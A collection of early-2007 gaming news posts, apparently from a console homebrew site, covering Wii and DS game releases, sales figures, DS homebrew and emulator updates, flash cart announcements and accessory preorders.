By the end of the month Nintendo will have released WarioWare: Smooth Moves to the masses in America. But the Japanese have already been playing the game for some time. We imported the overseas version and have posted high-resolution 480p / 16:9 videos below. Simply click on the following link:
Click here for WarioWare movies
In addition, we imported the oveseas version of Wii Play, which is like a mini-game version of Wii Sports. But don't take our word for it because we've also posted 480p / 16:9 movies of this one. Click below for the goodness.
Click here for Wii Play movies
And tune in this week and next for expanded coverage on both games.
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January 4th, 2007, 14:28 Posted By: wraggster
Sensei has updated his Virtua Cop style game for the Nintendo DS, heres the translated details:
Following the new version of the 03/01/2007:
There is now a challenge!
The part finishes if one magnifying glass a target or if one arrives at 200 (what is rather difficult).
At the end of the part, the play calculates the ratio, i.e. the relationship between the number of drawn balls and the number of targets abbatus, expressed in %.
Total score = (a number of targets abbatues X Ratio).
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January 4th, 2007, 14:32 Posted By: wraggster
Gnirfleo posted this news:
Ok, so after all we didn't like the old interface that much. Yes, it is simple, but it's not really use-friendly. How hard is it to press that tiny text?
We also decided it needed a whole other look, so our graphic designer worked his butt of last night to make a new one, and guess what? It's up to you if it's good enough!
We know the fonts need some work, so you don't have to say this.
Yes Yes! The programming continues!
I was bored today, so I decided to check out the browser. Some programmers worked their butt of the last days, and I have to say: They did a great job! I am glad to tell you that a release is not too far away anymore! Of course: Not everything will work yet, but that's the beauty of Homebrew: There will be new versions every time something doesn't works!
We also decided that the interface wasn't good enough. There will be an update of this very soon too.
Screen Via Comments
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January 4th, 2007, 17:43 Posted By: JKKDARK
More news about the GameCube emulator for PC.
Hello all,
I'd just like to give you all a little status update on where the project is heading. What with 64bit Dolphin in the works, and the latest Gcube, we thought that it be necessary for us to follow the same trend, and post some information :-)
In all honesty, not a whole lot has gone on with the emulator since about september, mostly due to the fact of the developers being in school/work and not having a lot of free time. Most of the shots posted in October on the website were even at that time out-of-date. And since then, no major updates have been made.
However, recently, the project has become very much allive again. I'd like to welcome two new very experienced members to the team, Azimer (from the Apollo64 and Audio plugin fame), and hcs (from the in_cube and 64th Note fame). I cannot speak on behalf of the other two developers developers, Aprentice and Lightning, although I do know that they still have interest in the project, however limited their free time may be. As far as I am concerned, I have been working on a new Gekko Video plugin from the ground up, and it is currently at the point of running a handful of 3D demos.
All in all, it's really shaping up to be a great next few months for Gekko. I can't wait until I have something worthy of releasing, however long or short amount of time that may take.
As usual, feel free to stop by on IRC at #Gekko on Efnet, or by heading over to the website Gekko
Regards
ShizZy / the Gekko Team
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January 5th, 2007, 08:51 Posted By: wraggster
Heres the summarised List:
360: Lost Planet, Crackdown, Medal of Honor: Airborne, Assassin's Creed, Kane & Lynch: Dead Men, BioShock
PS3: MotorStorm, Formula One Championship Edition, Assassin's Creed, Burnout 5, Alone in the Dark, Heavenly Sword, Warhawk, Metal Gear Solid 4: Guns of the Patriots
Wii: Super Mario Galaxy, Super Smash Bros. Brawl, Metroid Prime 3: Corruption, WarioWare: Smooth Moves, Wii Play, Mortal Kombat: Armageddon
What games are you jonesing to play this year?
via joystiq
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January 5th, 2007, 08:58 Posted By: wraggster
via joystiq
His name is Mark Leung. And he's often bored at Massachusetts' Babson College. So he picked up a camera and began to craft a meticulously detailed parody of Final Fantasy; what he calls "College Saga." Here is Mark's introduction:
"Once upon a time, when Earth was still a beautiful place, an evil force came to turn all living things into Vegetarians. Three students from suburban Massachusetts would step up against this catastrophe ... to end Vegetarian Supremacy. Mark, Jesús, Maria and their foes would make amazing personal discoveries as the two forces clash. And so began the ultimate saga about friendship, heritage, sex and explosions."
Video Here -->
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January 5th, 2007, 10:45 Posted By: wraggster
Like the belt buckles of a Hawaiian marathon-runner who's been denied water for a week, Europe's Virtual Console line-up found a couple of notches it couldn't previously reach overnight.
Clearly visible at the summit of the New Additions page are NES classic Super Mario Bros., which will set you back 500 Wii points, alongside the TurboGrafx-16's Motoroader (which I must confess I've never played) at 600 points.
What's that in real currency? Well, Wii points vary in price depending on how many you buy, but cards sold in the shops give you 2000 for GBP 14.99, with smaller and larger increments sold for vaguely fitting totals directly through the Wii Shop.
As for the games, NES titles uniformly go for 500 points, TurboGrafx seems to vary between 600 and 800, while Super Nintendo and Megadrive reach 800 and Nintendo 64 titles - of which there's only one around here so far, Super Mario 64 - go for 1000.
via eurogamer
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January 5th, 2007, 10:47 Posted By: wraggster
The Nintendo Wii has likely sold over 1.2 million units in the US, beating previous estimates by analyst Lazard Capital.
Sony's rival PlayStation 3 will have sold around 700,000 units in 2006, while the company predicts that Microsoft's Xbox 360 will have reached 4.5 million consoles in North America, by December 30th.
"Our checks indicate that Nintendo's Wii console continues to sell well, while Sony's PS3 supplies improved somewhat towards the end of the holiday period," said Colin Sebastian of Lazard Capital.
The firm also said it expects that US software sales will have increased by five per cent in December, compared to last year, "driven by incremental sales for next-generation software and ongoing solid PS2 and DS game sales."
The analyst also offered a list of best-selling titles, including four of GameStop's top five sellers for Christmas - Guitar Hero 2, WWE Smackdown Vs RAW 2007, Gears of War and Legend of Zelda: The Twilight Princess.
Finally, Sebastian predicted three publisher's performance in December, expecting THQ to see sales up by 20 per cent, EA to suffer a dip of 10 per cent and Activision's results to remain equal to the 2005 period.
via gamesindustry
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January 5th, 2007, 11:15 Posted By: wraggster
Wii users using Opera can check their favourite Messenger services via the site Connection Tube, heres some info:
CommunicationTube© - chat web messenger client for the popular IM (instant messaging) networks: ICQ , MSN , GTalk , IRC
It's a free web-client for the popular IM (instant messaging) networks which currently supports ICQ, MSN Messenger, IRC and Google Talk.
The biggest advantage of CommunicationTube© that it's completely web based, no software download required. It makes CommunicationTube© very convenient for people using public internet access such as internet cafe. With CommunicationTube© you can be connected to multiply IM system simultaneously from one single web-based interface. Sending and receiving messages are done without page refresh which actually minimizes internet traffic and makes manual page refresh unnecessary. CommunicationTube© based on http protocol and unlike other web-based IM's uses only port 80 which is very useful for customers with limited web access due to firewall limitations. No ActiveX, Java applets or popup windows are being used either. CommunicationTube© does not store your user names or passwords on our server.
Check it out Via this addy -> http://www.communicationtube.net/
Let us Know how you get on
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January 5th, 2007, 11:18 Posted By: wraggster
The pic above is of the new Wii Bundle coming on the 17th of jan from Gamestop, heres whats featured:
Nintendo Wii system (system, remote controller, nunchuck, stand, sensor and Wii Sports)
Wii 1 Gigabyte Memory Card
1 additional Wii Remote Controller
Legend of Zelda: Twilight Princess
Trauma Center: Second Opinion
Red Steel
Marvel Ultimate Alliance
Super Monkey Ball Banana Blitz
Madden NFL 2007
1 Year Product Replacement Plan
Not too shabby but youll pay $679 for it
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January 5th, 2007, 11:20 Posted By: wraggster
This short video from the upcoming Mario Party 8 should be just enough to whet your appetite for some silly multiplayer action. This is one game we're definitely planning on checking out -- but how about you? Where's the latest Mario Party fall on your list of must-haves?
If nothing else, it certainly falls in with the Wii philosophy about playing games together! Check the video out here -->
via wiifanboy
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January 5th, 2007, 11:23 Posted By: wraggster
via wifanboy
Taken from a recent issue of Gamepro magazine, Metal Gear guy Hideo Kojima said the following things when asked about HD gaming and the possibility of working with the Wii. Given the past (Metal Gear Solid: Twin Snakes), we think the possibility of a Kojima project, whether it be Metal Gear related or not, is good.
What kind of project would you like to see from Kojima on the Wii? Maybe a port of Metal Gear: Portable Ops or perhaps a brand new IP?
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January 5th, 2007, 11:27 Posted By: wraggster
via cubed
Cubed³ has been exclusively told that Freshly Picked Tingle's Rose-Coloured Rupees for the Nintendo DS will be heading to Europe in 2007. The quirky RPG has already sold over 200,000 units in Japan and rated 33/40 in Famitsu.
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January 5th, 2007, 11:30 Posted By: wraggster
via dsfanboy
The folks at GameBrink got their hands on a copy of Kabushiki Baibai Torenakabutore, a stock trader sim, but not the one we mentioned before. And the verdict is? Solid offering from Hideo Kojima (is there any other kind?), but not exactly import friendly unless you read Japanese.
What's interesting about this game is that it relies on five years of real data from the Tokyo Stock Exchange, so the trends are realistic. They're not playing when they call this one a sim, are they? Further, all your favorite gaming companies are represented, like Nintendo and Konami. The lessons are real as well; a complete trading newb can apparently pick this up, play the game, and walk away knowing some real information about how the market works. Should a sim be so realistic? Maybe not always, but stock trading is apparently pretty addicting, so here it seems to work well.
Since there are multiple companies busily forging stock trader games, perhaps we'll see a release outside Japan for one of these ... and now we're hoping for this one, since we've gotten a look at it!
More info
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January 5th, 2007, 11:34 Posted By: wraggster
Nintendo's Wii recently entered into the wild world of the Internet with the addition of the Opera Web Browser to the Wii Channels Menu, and it seems like the world is taking notice. Orb Networks announced that it is offering Wii support for its MyCasting service which allows users to stream any form of digital media from their home PCs onto other electronic devices. Orb's free software lets users enjoy all digital media stored on their home PC on any other networked device, a category which now includes the Wii.
"What Nintendo did -- offering Internet connectivity on its game console was so simple and easy -- yet it tears a big hole into the walled content garden erected by gaming manufacturers," said Joe Costello of Orb Networks. "Consumers want the freedom to surf the Web while sitting on their sofas but that really just scratches the surface of what is available. People can get any digital content on their home PC, be it videos, music, TV, photos, whatever they want, and watch it on their TV screen without limitations or additional fees, which is what Orb promises and the Wii helps deliver. Nintendo opened the door for millions of gamers to see the power of what the Internet can offer in terms of media freedom, choices and access: other gaming manufacturers should follow suit, and the content providers and programmers should notice."
In order to make use of Orb, Wii owners must first download the free software to their home PCs, and set up a MyCast account. They must also have the Opera Browser downloaded to their Wiis, something that can be done through the Wii Shop Channel. Finally, users must go onto the Wii Internet Channel and head to mycast.orb.com in order to login and access all of the digital media stored on their computer. This includes music, photos, video, TV, and other documents. This media can then be played on users' televisions through the Wii.
via IGN
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January 5th, 2007, 11:35 Posted By: wraggster
via ign
Rumors have been running rampant yet again about the possibility of a NiGHTS Into Dreams sequel on the Wii. This time around, the rumors come direct from the website of Japanese development studio, G.rev, who recently posted a release list of upcoming Wii games. Buried somewhere towards the bottom of the list was NiGHTS, although no other details were provided.
Overeager fanboys must note that this is not even close to an official confirmation of the existence of the game. Most of the titles on the list are games that are barely more than rumors now anyway, including a whole slew of games that don't even have titles yet. We contacted SEGA regarding the rumor, but they declined to comment, except to state that no plans for such an announcement are in the pipeline.
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January 5th, 2007, 11:36 Posted By: wraggster
via ign
Okay, so it landed a couple of weeks late when compared with the US release, and sure, it's a fairly steep 500 points. But we're talking about the venerable Super Mario Bros. It's an NES staple that helped plant the Mario franchise in the minds of gamers everywhere.
It's an identical port of the NES version of the game, too, so those hoping for the graphically tweaked SNES All Stars version, or the added extras of the Game Boy Color rendition will be a little disappointed.
Of course, for the completist gamer who simply must own this 20 year-old game in absolutely every way, shape and form it is made available in, step right up. Meanwhile, we're still hanging out for the Virtual Console floodgates to open and the titles waiting in the eaves to spill forth, like so much 'golden era' goodness. As it stands, however, we must unfortunately continue to endure the ongoing trickle for the foreseeable future.
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January 5th, 2007, 11:43 Posted By: wraggster
News /release from Spag
Hi!
So as I started to learn guitar a while ago but still didn't know the notes on the fretboard, I thought I could make some paper cards to revise them in the train.
But why bother with paper when I always have my DS with me? So I made this small app!
It allows you to revise every fret one after the other, in a random order if you wish. And you can choose between International (A, B, C, ...) and Latin (Do, Re, Mi) output.
It's ugly and it's my first app in C ever, so I guess it could be improved, but it works. The stylus is still buggy (I don't know how I can do the same action just ONCE with "PA_SpriteTouched") so I recommend you use the pad for now.
Maybe someone else than me can have a use for it!
Download and Give feedback Via Comments
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January 5th, 2007, 12:28 Posted By: wraggster
What must be the game that defined the Xbox and now the Xbox360 was playable on the Nintendo DS according to a newpost over at CVG
A version of legendary Bungie shooter Halo was "completely up and running and fully playable" on Nintendo DS, according to IGN's Matt Casamassina.
In a post in his official Blog, Casamassina says that Halo DS was the brain child of an unnamed publisher other than Microsoft, but was eventually cancelled due to the "many egos involved" and other issues not mentioned in the post.
Even more amazing is that long-named journo also claims to have played a build of Halo DS, and describes it as "Metroid Prime Hunters but with a Halo facelift."
"I had the opportunity to run through the beginning beach area and noted while playing that it looked like Xbox Halo except on DS, it was running fast, and the control was responsive." He continues: "the trademark Halo music even played out of the tiny speakers of Nintendo's handheld. It is really, truly a damned shame that certain publishers couldn't make this happen."
So our hopes have been raised and dashed in just a few paragraphs. Would you have bought Halo DS?
Come on Microsoft, bring the the great FPS to the DS
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January 5th, 2007, 13:40 Posted By: scorpei
I've released my review of the M3 and R4 DS. Read it here.
Heres an excerpt
M3: The M3 packaging is made out of plastic rather then cardboard. This is similar too the packaging of the Neo2-TF. Inside the outer shell there are multiple cardboard and plastic parts holding all things together.
As the packaging of the Neo2-TF this plastic packaging has been made to open easily and to be re-usable (you can close it again), rather then the normal plastic where you need a knife to open it up (rendering it useless). As with the plastic of the Neo2-TF I ask the question “Was this a good choice?”. I'm more of a box fan but this is a fairly properly made container. The fact that you can see the product you've bought is a big plus. A lesser point is box-art as it's very plain and simple. It doesn't really appeal to me very much, even though features are quite clearly stated at the back.
A big plus is that this packaging feels like it will survive rough shipping with great ease. Knowing the M3 team that is probably how they came to the decision to use this packaging.
R4: The R4 wins it for me when it comes to looks; It's simply quite stylish and clear. Because of the square shape it is also easier to store it. What makes it so stylish is the sleeve that is holding the actual box. When you remove the sleeve you are left with a plain white box with the text R4 printed on it (sence and simplicity ;-)).
I'm also hosting the FAT lib for the M3 (just got it from the M3 team). If you have questions or comments; My Blog.
Yours,
Scorpei
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January 5th, 2007, 23:45 Posted By: wraggster
The official Japanese Dragon Quest Swords website has been updated with a brand new trailer for fans of the slime-filled series to drool over.
Dragon Quest Swords: The Masked Queen and the Tower of Mirrors on Wii lets you use the Wii Remote like a sword, battling enemies with slashing motions, as can be seen in the in-game footage within the trailer.
The swordplay looks pretty cool but little else is known about the game. Square Enix says that Dragon Quest Swords "is being developed with every aspect of the unique Wii hardware in mind", so we're hoping there'll be a lot more clever use of the control than just simple sword slashing.
Dragon Quest has been a massive hit in Japan for years, and with fantastic titles like DQ Heroes: Rocket Slime on DS and DQ: The Journey of the Cursed King being well received in the west, the series looks set for global stardom.
Dragon Quest Swords is headed for Japan later this year, while US and UK release dates are yet be announced.
via cvg
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January 5th, 2007, 23:49 Posted By: wraggster
The bizarre Zelda spin-off starring Nintendo's campest ever character, Tingle, is making its way to UK, Nintendo has confirmed.
The game, in which players control Tingle in an RPG-adventure hunt for Rupees, has been fittingly renamed 'Freshly-Picked Tingle's Rosy Rupeeland' for us westerners.
Mock it as we might, Tingle's adventure is actually a fairly neat game, with a peculiarly unique charm, laugh-out-loud humour and some of the most screwed up characters we've ever seen in a game.
Despite the English language version being near complete, Nintendo has yet to set a release date for UK but, rest assured, we're on its case about it.
via cvg
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January 5th, 2007, 23:51 Posted By: wraggster
via cvg
Treasure president Masato Maegawa has confirmed that Sin and Punishment, a classic shooter that has gained legendary status among hardcore N64 fans, is on the way to the Virtual Console on Wii.
In an interview with 1up.com, Maegawa said Treasure is "planning to put it out on VC at some point, but it's probably going to be a while still. It's really up to Nintendo in terms of how they want to stagger things out - they could probably put 1,000 games on there tomorrow if they wanted, but obviously they don't want to do that."
So it's a way off it seems - probably not due to come until Nintendo has exhausted most of the rubbish NES games it seems to be putting on it at the moment - but that's great news for all the hardcore fans that were hoping to see it here.
The critical question for UK fans is: will Nintendo/Treasure make the game available on the UK Virtual Console even though it never originally got a UK release? We've thrown that very question at Treasure and will report the response the moment we get one.
Maegawa also commented on his enthusiasm for Wii, saying, "We love the Wii and want to work on it in the future, but right now we've got our hands full with the 360 and DS."
"It's just a matter of freeing up people in order to create a team to work on it. But absolutely, in the future, we'll make a Wii game. We've already been in discussions with Nintendo about it. We're just brainstorming right now, but I am already certain we'll be able to do something really unique with it."
If we could place a pre-order on the 'Wii game by Treasure', we would. Right now.
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January 5th, 2007, 23:58 Posted By: wraggster
via engadget
In what's likely to go down as the most heavily accessorized (and harmful) controller ever, Nintendo's Wiimote sure is garnering a lot of attention from accessory makers. Sure, those Wii Gloves may keep butterfinger disasters from ever occurring, but they really don't give you any sort of competitive advantage when throwing down in Wii Sports. While we knew JoyTech was planning its own barrage of controller add-ons, it looks like Brando is offering up a sweet trio of Wiimote extensions to presumably improve your Wii Sports play. For just $22, you'll get a tennis racket, golf grip, and a baseball bat, which could arguably pull double duty as a sword in Red Steel. Of course, you'll still need to pick up that foam donut separately (or bundled in with another game) for the ultimate Excite Truck experience, but hey, you gotta start somewhere.
More info at Brando
I personally cant till a Lightsabre addon comes out
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January 6th, 2007, 00:12 Posted By: wraggster
via /.
Kotaku has a follow-up feature to their earlier look at the declining PS3 market on EBay. Post author Michael Fahey has now gone back and looked at Ebay sales, comparing the PS3 and the Wii. Unlike the sharp dips and spikes the PS3 market has suffered, the price seems to be fairly constant for the Wii console. From the article: "Considering the small window that the PlayStation 3 auctions had to turn a truly amazing profit, prospectors would have been better off in the long run purchasing a couple of Wiis, which have maintained an average profit margin of 45-50% since preorders became available. Definitely not a windfall, but a much more financially sound investment in the long run. Unfortunately these launches weren't about being sound financially. They were about betting on the big bucks, and the majority of the PS3 prospectors out there played the tables and lost."
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January 6th, 2007, 00:17 Posted By: wraggster
via gibiz
Nintendo of Europe has issued a statement regarding the accidental death of a young boy killed on holiday while charging his Game Boy.
"Nintendo wishes to offer its sincere condolences to the family of Connor O'Keefe," reads the statement.
"Details of the accident are currently unclear so we are unable to make any further comment at this stage," it added.
O'Keefe was killed last Saturday after unplugging the Game Boy in his hotel room in Thailand.
Police Lt. Colonel Sopol Borirok said the incident was an accident, adding: "No blame has been attached."
The story has been picked up by a number of UK newspapers, including the The Sun, The Mail and The Mirror, which splashed the story across the front page with the headline 'Killed by Game Boy.'
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January 6th, 2007, 00:19 Posted By: wraggster
via gibiz
Industry veterans from Activision and Vicarious Visions have formed new a development team, OneNine Studios.
Also including employees from Gameloft, Digital Eclipse and Kush Games, the firm is currently focused on handheld and mobile development.
The developer already has a deal in place to create a mobile game with GoPets, the company behind the online gaming and social networking community, which boast over 500,000 registered users.
"OneNine is dedicated to making great games for both casual and hardcore markets, on all possible platforms," reads a company statement.
"We are looking to expand into DS and PSP development, as well as games for the web/downloadable and Xbox Live Arcade markets."
"With the extensive talent we have assembled, we are fast becoming a leader in these and other emerging handheld and casual game markets," stated the company.
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January 6th, 2007, 00:43 Posted By: wraggster
Linkers4u.com have today announced they are taking preorders for the SuperCard DS (Slot 1) microSD for NDS/NDSL Flash Cart which is the first Slot 1 cart from the Supercard Team.
For those who dont know what a Slot 1 cart is well its basically a Normal DS Game cart that you the user can put games, emulators and more on.
Heres the full details from Linkers4u.com
Product Features
100% clean rom support
Original DS Cart Size: Insert into DS Slot 1 without any stick out.
Boot from DS slot 1 directly: No more FlashMe/PassMe is needed!
Supports NDS and NDSL consoles
Supports microSD card up to 4Gbyte
More Description
The SuperCard Team has been in the scene for a long time, and they have been working on developing new features in the past three years. With simple but practical functions, the SuperCard has gained great popularity in the gamer world. After a long period of research and development, the SuperCard Team has finally come up with a slot-1 solution, the SUPERCARD DS. Boosting many advanced features, and being easy to use, makes this ONE card that's a must have for any DS gamer.
The price is a decent USD 42.58 (around 21 Pounds) and on preorder now but in stock on the 13th of january according to Linkers4u.com
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January 6th, 2007, 00:59 Posted By: wraggster
via kotaku
The extent to which Pokemon is branded in Japan and abroad never ceases to amaze. Neither does the extent to which my family buys that Pokemon branded crap! Here's a bottle of "Shan Meri—," short for "champagne" and "merry." During the holidays, adults in Japan like to knock back bottles of champagne. And not to make the kids feel left out, alcohol-free soda pop that is packaged in beer, wine, champagne-type bottles.
Screen Via Comments
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January 6th, 2007, 01:10 Posted By: wraggster
New Preorder at Play Asia
features
Download new content and Virtual Arcade material on your Wii.
Internet gaming through any internet-enabled PC.
No cables necessary – make a wireless connection.
Five times faster than standard WiFi.
Suppled with software CD and WiFi dongle, and also a USB cable and stand for optimal positioning.
Compatible with all Wii and NDS internet-enabled games.
description
Take your consoles online – wirelessly…
So you have a Nintendo Wii or an NDS (original or Lite). If you’re lucky, you have both! You also have a broadband internet connection for your PC. But you don’t have a wireless network. What’s the easiest, cheapest way to take your consoles online and compete with gamers from all over the world? Simple – WiFi MAX for Nintendo Wii and DS/DS Lite!
WiFi MAX is your ticket to the exciting world of online gaming, and it couldn't be simpler to use. Just plug your USB WiFi dongle into your internet-enabled PC to create a Wireless Access Point. You can then connect to the internet and play online-enabled multiplayer games with DS and Wii gamers from all over the world. Just the thing if you don't have a wireless router! Best of all, WiFi MAX supports up to five ‘local' DS gamers at a time, so you and your mates can all play online at once with no loss of speed!
Don’t forget, there’s more to the Nintendo Wii’s online service than playing games. You can also download additional material such as new levels, skins, artwork and even retro games! That’s right – Nintendo is gradually making its back-catalogue classics for old Nintendo machines such as the NES, SNES and N64 available to Wii owners through the Virtual Arcade service. And with WiFi MAX, you can download them through your broadband internet connection! Just think what you’ll be missing out on if you don’t take your Wii online…
As WiFi MAX operates on the Wireless G standard, it's five times faster than an ordinary WiFi connection, and if you use our USB cable and dongle stand (supplied), you can position your dongle to maximise WiFi range. If you have other WiFi-enabled devices capable of using the internet, such as laptops or PDAs, you can take them online with WiFi MAX too. It's the ultimate device for internet surfing without a WiFi router!
Preorder at Play Asia
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January 6th, 2007, 01:10 Posted By: wraggster
New Preorder at Play Asia
features
Download new content and Virtual Arcade material on your Wii.
Internet gaming through any internet-enabled PC.
No cables necessary – make a wireless connection.
Five times faster than standard WiFi.
Suppled with software CD and WiFi dongle, and also a USB cable and stand for optimal positioning.
Compatible with all Wii and NDS internet-enabled games.
description
Take your consoles online – wirelessly…
So you have a Nintendo Wii or an NDS (original or Lite). If you’re lucky, you have both! You also have a broadband internet connection for your PC. But you don’t have a wireless network. What’s the easiest, cheapest way to take your consoles online and compete with gamers from all over the world? Simple – WiFi MAX for Nintendo Wii and DS/DS Lite!
WiFi MAX is your ticket to the exciting world of online gaming, and it couldn't be simpler to use. Just plug your USB WiFi dongle into your internet-enabled PC to create a Wireless Access Point. You can then connect to the internet and play online-enabled multiplayer games with DS and Wii gamers from all over the world. Just the thing if you don't have a wireless router! Best of all, WiFi MAX supports up to five ‘local' DS gamers at a time, so you and your mates can all play online at once with no loss of speed!
Don’t forget, there’s more to the Nintendo Wii’s online service than playing games. You can also download additional material such as new levels, skins, artwork and even retro games! That’s right – Nintendo is gradually making its back-catalogue classics for old Nintendo machines such as the NES, SNES and N64 available to Wii owners through the Virtual Arcade service. And with WiFi MAX, you can download them through your broadband internet connection! Just think what you’ll be missing out on if you don’t take your Wii online…
As WiFi MAX operates on the Wireless G standard, it's five times faster than an ordinary WiFi connection, and if you use our USB cable and dongle stand (supplied), you can position your dongle to maximise WiFi range. If you have other WiFi-enabled devices capable of using the internet, such as laptops or PDAs, you can take them online with WiFi MAX too. It's the ultimate device for internet surfing without a WiFi router!
Preorder at Play Asia
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January 6th, 2007, 01:27 Posted By: wraggster
New release from Darkain:
RMX Automation (for windows) is a modular interface for user input and output devices, applications, etc. Starting with version 1.4 (20070101), RMX Automation includes a plugin for the Wii Remote.
Download at link above
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January 6th, 2007, 01:34 Posted By: wraggster
Walaber has posted on his website a rather cool new project for the Nintendo Wii
Heres the info:
WiiSticks is my first attempt at combining input from a Wii remote and physics simulation. In the game the user holds 2 wii remotes (or 1 remote with a nunchuck attachment), and flips and spins a rod back and forth between 2 sticks that they control directly with the remote. The input is very intuitive, even providing basic force feedback (the controller rumbles on contact with other objects).
A release version will be available soon. Requires a bluetooth adaptor for your windows PC, and at least 1 Wii remote + Nunchuck, or 2 Wii remotes.
FEATURES
intuitive controls feel "like the real thing"
fully playable with only the wii remote (no mouse or keyboard required)
expandable design means more sticks can be added easily
REQUIREMENTS
Windows XP
3D accelerated video card with current drivers for DirectX or OpenGL
Bluetooth adaptor / bluetooth capability
2 Wii remotes (alternatively 1 wii remote + nunchuck attachment)
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January 6th, 2007, 01:39 Posted By: wraggster
Tob has released a new version of his excellent DS App called Nitrotracker now at v0.3, heres the details:
I know I've let you wait for a long time, but as you probably know I was busy with DSMIDIWiFi for a bit. Well, I'm finally back to work on my
favorite tracker and I'm glad to announce that I managed to invent the aerosol before the wheel by including *MIDI support* before implementing
any effects :-)
With DSMIDIWiFi, you can now use NitroTracker as a sequencer for your favorite music apps. Also, NitroTracker can act as a MIDI synth itself, so you can use any MIDI sequencer to play back samples you record with the DS's microphone in real time!
I also gave the interface and usability some polish and improved card compatibility. NitroTracker now supports DLDI, which means that you can easily add support for your card if it doesn't work out of the box.
Here's the list of changes:
* Features:
* DSMIDIWiFi support
* The song restart position can now be set.
* WAV preview in the file selector
* Pause/Resume
* Pattern looping
* Reboot DS (press Start+Select)
* Usability:
* Some nice icons :-)
* Shrinking the pattern cannot destroy data any more. If you
accidentally make a pattern too small, you can just enlarge it
again and your data is still there.
* Speed can now be adjusted while playing.
* The pattern can be switched while playing.
* Newer touch code => Better touchscreen accuracy
* The "clr" button is now on both screens.
* Lines between all rows for better orientation
* Red border when in record mode => Record mode is more obvious
* An application icon
* Fixes:
* Relnote/finetune calculation for wavs works again.
* 8bit wavs are now loaded correctly without corruption.
* Stereo samples are now downsampled to mono.
* Better card support through new fatlib and DLDI
* An EZ4 Lite is included (.ds.gba)
* Fading no longer causes corruption on longer samples.
* "ins" is now 100% stable.
* Moved to devkitPro r19b.
Don't worry effects and everything will come, just be patient :-)
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January 6th, 2007, 01:45 Posted By: wraggster
Hiroaki has posted some WIP news of his DarwiinRemote application.
In Wiili.org, sound feature in wiimote has been hacked gradually. Of course, I'd like to implement new version of DarwiinRemote and WiiRemote.framework, and have to fix many bugs (especially PPC bugs).
but now, I have no time to implement them.
Some of you may know that the beginning of the fiscal year in Japan is April (not September). In addition, I'm now 2nd year master's degree student. So that means I have to write master's thesis (by the end of this January).
Until submitting my thesis, I may not be able to focus on DarwiinRemote project (perhaps I may implement it for changing of pace ;-) ).Anyway, I will be back soon. Please wait.
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January 6th, 2007, 01:51 Posted By: wraggster
via 4LW
It all started with a big thunderstorm. The floor below your feet faded away, a giant hole appeared. Without any chance to help yourself you fell into it. Everything around you got dark.
After a while, you awake and find yourself in a strange area. It's a completely different world, probably far away from home. It's a place lost in time, a place with different rules.
Suddenly you see a strange glowing in the darkness. After getting closer you spot a sword sealed in a stone. The Sword of Time. This blade is the only way to travel in time. It is the only chance to ever get back home again. But while hurrying towards it, you make a frightening discovery.
You are not the only one...
Download the new version with Wiimote support HERE
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January 6th, 2007, 01:53 Posted By: wraggster
via wiifanboy
Before people started crying because they'd tossed their Wiimotes into their televisions, darts on the Wii almost seemed viable. Now it just seems like a whole series of accidents waiting to happen, and yet it looks like someone's going to do it anyway. While this one definitely comes from the rumor patrol at NeoGAF, it seems pro dart player Raymond van Barneveld knows something we don't about an amorphous Nintendo dart game. Hmm. A true sucessor to Wii Sports, perhaps? We'll wait to toss the confetti (or our Wiimotes), but it's an interesting rumor.
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January 6th, 2007, 01:56 Posted By: wraggster
via gamepro
We just got back from a marathon gaming session, and Metroid was one of the most interesting titles that we played at Nintendo's super-secret, invite-only gaming session.
Metroid Prime 3: Corruption Definitely stole the the show. The graphics looked amazing -- better than Halo 2 on the Xbox without a doubt -- and the levels showed off sparkling details, proving the Wii is far more powerful than the Gamecube. Out of all the games we played, the Wii controller seemed most at home with Metroid.
You don't fire with your index finger, but with your thumb (using the A button). This sounds a little goofy, but in practice it worked very, very well. You could press the directional pad to fire rockets or enter your scanning mode, and the trigger (aka the B button) handled jumps very nicely. Samus has a few new moves that take advantage of the motion-sensitive controller. By locking onto a target and thrusting the left nunchuku forward, Samus could launch a grappling beam. The beam is similar to Half-Life 2's Gravity Gun, but was mostly used to push rubble out of the way, open grates, or in a nice touch, yank shields from enemy hands. The other major Wii functionality was that some control panels needed to be lifted, rotated, and pushed back into slots -- these movements were all handled on the Wii controller.
Aiming with the point-and-shoot controller felt very nice, though it took a few minutes to become truly comfortable. The experience was much like playing a PC first-person shooter, especially since the nunchucku analog stick controlled movement We found that standing roughly four feet from the TV provided the best motion, and the cursor stayed smooth and steady -- no shakiness! The frame rate was also smooth and consistent, even when the screen got crowded with special effects.
Metroid was probably the best Wii game on display. Wii can't wait to play more!
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January 6th, 2007, 01:58 Posted By: wraggster
A new release of WiiCR has happenned today, heres the info and whats new:
WiiCR is a media player solution for the Nintendo Wii. It acts as a streaming media server and is capable of transcoding nearly any video file to a suitable flv for an embedded flash player. It allows browsing of the remote filesystem to view: videos (avi/xvid/divx/mpeg/wmv/etc), text files, jpg's and play mp3s.
0.2.9.3 Released
vob support added
prev and next buttons for image viewing
using aurions updated (yes again) flv player + his new vidplay.tpl
changing of videsegments supported.
Ocean theme 1.3 Released
Big changes to vidplay.tpl
New splash page (Will only display once per day)
Updated config.tpl
Download Here --> http://downloads.sourceforge.net/wmc/
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January 6th, 2007, 02:01 Posted By: wraggster
via wiitod
Wii play for the Nintendo Wii is a collection of 9 mini games that is to be released on 2/12/07. There are a few highlights to this game and I believe it will sell very well amoungst the growing popular titles. The kicker with this mini game collection is that it costs the regular $50, but it includes a $40 Wii-mote for free. You are really getting a $40 dollar wii-mote with a $10 game and with a total of 9 mini games, that makes it just over $1 per game, a screaming deal. Most Wii owners will be picking up extra Wii-motes for the future release of Mario Party 8 anyways, so this is a huge benefit.
Another great feature with this title is that Nintendo has incorporated your fashionable, customized Mii characters as players in the mini-games. I know my kids love making Mii characters and being able to play them in something other than Wii sports is going to be very cool. Also, the games in the collection will be both single player and two player games.
The mini-games to be included in the package are:
A shooting Range (from the images i have seen this game looks similar to Duck Hunt)
Table Tennis
Laser Hockey
Billiards
Fishing
Charge (this has to be the cow racing game as shown in the recent edition of Nintendo Power)
Tanks
Find Mii (I would assume that this is like Where’s Waldo, but for your Mii Character)
Pose Mii
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January 6th, 2007, 02:07 Posted By: wraggster
Nyko Technologies®, a premier peripherals manufacturer, announced today their product lineup for the Nintendo Wii. With a host of brand-new options for battery charging, wireless gaming, and high-quality video, Nyko aims to stand at the forefront of the Wii accessory market. Nyko’s products for the Nintendo Wii will debut at this year’s Consumer Electronics Show in Las Vegas, Nevada.
